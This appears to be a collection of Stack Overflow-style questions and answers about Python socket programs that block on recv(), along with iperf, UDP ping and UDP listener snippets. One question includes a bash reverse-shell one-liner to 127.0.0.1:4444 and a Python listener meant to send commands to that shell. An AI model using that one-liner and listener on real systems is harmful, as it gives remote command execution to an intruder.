I am trying to make a socket client in python. I can send the first message, with no errors, but when I try to send the second one, it stalls.
import socket , time
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def OpenConnection(IP,PORT):
global sock
sock.connect((IP, PORT))
def SendMessage(StringMessage):
global sock
print "Step 1"
sock.send(StringMessage)
print "Step 2"
reply = sock.recv(1024) # limit reply to 1024K
print StringMessage
return reply
def CloseConnection():
global sock
sock.close()
HOST, PORT = 'localhost', 34567
OpenConnection(HOST,PORT)
print SendMessage('test1')
print "Sleep for 3"
time.sleep(3)
print "Sendind Second Message.."
print SendMessage('test2')
CloseConnection()
Your code works for me - is the server you're connecting to sending anything back? I used netcat to listen on port 34567. Here is the server output after first running your program:
$ nc -l 34567
test1
And here is the client
$ python socktimeout.py
Step 1
Step 2
At this point the client is waiting in the sock.recv(1024) call for a response from the server. Typing a message ("TEST" say) and hitting enter in the server window allows the code to proceed. Now the server looks like this:
$ nc -l 34567
test1TEST
test2
And the client:
$ python socktimeout.py
Step 1
Step 2
test1
TEST
Sleep for 3
Sendind Second Message..
Step 1
Step 2
Again typing a message and pressing enter will allow your program to complete and close the connection.
Note that pressing enter is only required as netcat is line buffering the input, if your server was sending back data using some other process, it is not a requirement to append a line ending to the message (although it might be a good idea, depending on your protocol).
EDIT
Here is the final server state after sending back another message:
$ nc -l 34567
test1TEST
test2TEST
$
And here is the client:
$ python socktimeout.py
Step 1
Step 2
test1
TEST
Sleep for 3
Sendind Second Message..
Step 1
Step 2
test2
TEST
$
Related
I am trying to interact with a remote socket programmatically. It is working perfectly using Unix nc but the python's recv() call is blocked indefinitely.
If I do
$ nc remotehost.com 2000
(reply) Hello from server!!
input your name> (i input Tom and press enter) Tom
(reply) Hello Tom
But if I do the same thing using python sockets, my sockets first receive call fetches "Hello from server!!\nInput your name" but after I send my name Tom to the server, my socket.recv() blocks on recv() call indefinitely instead of fetching Hello Tom.
My python code is as follows:
import socket
HOST = 'remotehost.com'
PORT = 2000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(4096).decode()
print(data)
sleep(1)
name = bytes('Tom', 'utf-8')
s.sendall(name)
data = s.recv(4096) # my code stucks/block here indefinitely
message = data.decode().rstrip()
The output I get is:
b'Hello from server!!
input your name>'
<charcter blinking and stuck>
What might be going wrong here? Same thing is working on nc but not working in python.
Im trying to play with python sockets trying to create a tcp listener server for incoming data from a reverse shell while launching some commands.
Tested with bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 as client while the server is running.
Here the code:
import socket
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('127.0.0.1',4444))
s.listen(3)
while True:
clientsocket,addr = s.accept()
print(f'connection from {addr} stablished')
print('Everything ok, jump to next while loop')
while True:
response = clientsocket.recv(99999).strip()
print(response.decode('utf-8'))
userinput = input('$: ')
command = userinput + '\r'
print('Check stage 1')
clientsocket.sendall(bytes(command,'utf-8'))
print('Check stage 2')
The only thing here is that for some reason Check stage 1 and Check stage 2 are executed before of sending the command.
In other hand the command to send is saved with the variable value of their last, not the current.
That means that we need to send the same command two times to receive the correct input/output.
My question is, how to prevent the input from being typed two times and how should be the correct flow of the program?
I am trying to kill an iperf server session that opens on a serial port.
The code below opens the port, starts the iperf server, and copies the output to a single file. At end of job, I tried to kill the server with ^C − as expected, this didn't work since the server is in listen mode, I send any key-press through the iperf interactive listen shell; this doesn't stop it.
Closing the server port didn't help, as the server stays in listen mode. How can I kill the iperf server session by sending a command?
I tried adding the iperf server option -t 20, but this didn't work.
Truly appreciated for any help.
import serial
import time
port = "COM10"
baud = 115200
ser = serial.Serial(port, baud, timeout=5)
if ser.isOpen():
print(ser.name + ' is open...')
print ('Iperf server session is running')
ser.write("\r\niperf -s -i 1 -w 1M")
log1 = ser.read(100000)
time.sleep(20)
print log1
with open('myoutput.txt') as f:
last = None
for line in (line for line in f if line.rstrip('\n')):
last = line
print last
result = last[-14:]
print result
output = result[:4]
print output
ser.write("\r\n ^c")
log2 = ser.read(1000)
print log2
ser.close()
I'm using Xen Hypervisor in ubuntu and I have a VM. When live-migrating vm to another host, the vm will be Unavailable from a range of about a few milliseconds to no more than a few seconds tops (depending on the environment). I need to be able to determine that short time as accurate as possible. so I need to 'somehow' check the vm say every 100 milliseconds. and the number of times in which I find the vm UNAVAILABLE continuously, multiplied by 100, will be the total milliseconds that my vm was down.
ping doesn't work since it's not being accurate and in case of vm being unavailable, ping command waits and retries sending ICMP packets and This spoils the goal to find out if the server is available in that EXACT CHECKING MOMENT. Plus I asked a question in here and the feedback was "don't use ping!"
so NO USING PING!
I need to write my own piece of code in python/perl/whathever which could do the job. How could I do that?
ping doesn't work since it's not being accurate and in case of vm being unavailable, ping command waits and retries sending ICMP packets
That's the default, but you can tell it to only send one.
$ ping -q -c 1 9.9.9.9 >/dev/null
$ echo $?
1
$ ping -q -c 1 8.8.8.8 >/dev/null
$ echo $?
0
So
while ! ping -q -c 1 -W 1 x.x.x.x >/dev/null ; do true ; done
Plus I asked a question in here and the feedback was "don't use ping!"
so NO USING PING!
Yet you asked for a (UDP-based) ping instead of a means of checking if the needed service is up.
Here is a ZeroMQ UDP ping function adapted from UDP discovery, model 1 in Python by disabling broadcasting, pinging just one IP address, returning after the first reply, adding a counter to limit the number of ping attempts and adding extra error handling during message receive. The latter was done since one host in my net forcibly closed the connection causing socket.error: [Errno 10054]. It has been tested and found to work with Python 2.7.10 and 3.4.3.
from __future__ import print_function
import os
import socket
import sys
import time
import zmq
def udpping(ip):
PING_PORT_NUMBER = 9999
PING_MSG_SIZE = 1
PING_INTERVAL = 1 # once per second, sets minimum initial timeout
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
# uncomment the line below for broadcast to 255.255.255.255
# sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
sock.bind(('', PING_PORT_NUMBER))
poller = zmq.Poller()
poller.register(sock, zmq.POLLIN)
ping_at = time.time()
limit = 5 # only limit ping attempts will be made
count = 0
while True:
count += 1
timeout = ping_at - time.time()
if timeout < 0:
timeout = 0
try:
events = dict(poller.poll(1000* timeout))
except KeyboardInterrupt:
return (1,None,None)
try:
if sock.fileno() in events:
msg, addrinfo = sock.recvfrom(PING_MSG_SIZE)
return (2,"found %s:%d" % addrinfo,None)
except socket.error as e:
return (3,'error during msg receive:',e)
if time.time() >= ping_at:
# the line below is for broadcasting
# sock.sendto(b'!', 0, ("255.255.255.255", PING_PORT_NUMBER))
sock.sendto(b'!', 0, (ip, PING_PORT_NUMBER))
ping_at = time.time() + PING_INTERVAL
if count == limit:
return (4,limit,None)
ip = '192.168.159.21'
c,m,e = udpping(ip)
Below is shown output handling. For binary decision, the ping succeeded only if c == 2.
if c == 1:
print('ping attempt stopped by KeyboardInterrupt')
elif c == 2:
print(m)
elif c == 3:
print(m,e)
elif c == 4:
print('no response from',ip,'after',m,'attempts')
# prints 'found 192.168.159.21:9999' immediately in my net
i got this code from http://www.evolt.org/node/60276 and modified it to listen for a single "1" coming from the other side
but whenever i run this program it stops and python IDLE goes to non-responding on "data1,addr = UDPSock.recvfrom(1024)"
def get1():
# Server program, receives 1 if ball found
# ff1 is file w/ received data
import socket
import time
# Set the socket parameters
host = "mysystem"
port = 21567
#buf = 1024
addr = (host,port)
# Create socket (UDP) and bind to address
UDPSock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
UDPSock.bind(addr)
# Receive messages
while 1:
print "waiting..............."
data1,addr = UDPSock.recvfrom(1024)
print "got 1"
if not data1:
print "Client has exited!"
break
else:
print "\nReceived message '", data1,"'"
UDPSock.close() # Close socket
print "socket closed\n"
#call some other function that uses 1
and client side
def send1():
# Client program, sends 1 if ball found
# mf1 is file with data to be sent
import socket
# Set the socket parameters
host = "mysystem"
port = 21567
buf = 1024
addr = (host,port)
# Create socket (UDP)
UDPSock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
mf1=1
print mf1
# Send messages
if(UDPSock.sendto(str(mf1),addr)):
print "Sending message '",str(mf1),"'....."
# Close socket
UDPSock.close()
does anyone know what might be the cause of this? (sorry for long post)
As a second guess (I replaced my first guess with this) I suspect that you are running the receiver in IDLE and then IDLE is hanging so you can't run the client. I don't know exactly how IDLE works as I never use it, but the line containing recvfrom will stop the Python thread its running in until data is sent. So you need to start the client in a separate instance of IDLE or from the command line or something.
At any rate, I have tested the program in question on my Python with 127.0.0.1 as the host, and it worked fine, for some values of fine. The recvfrom does hang, but only until some data is sent, then it comes back with the data and prints it out and everything. You do have a bug that happens after that though. :-)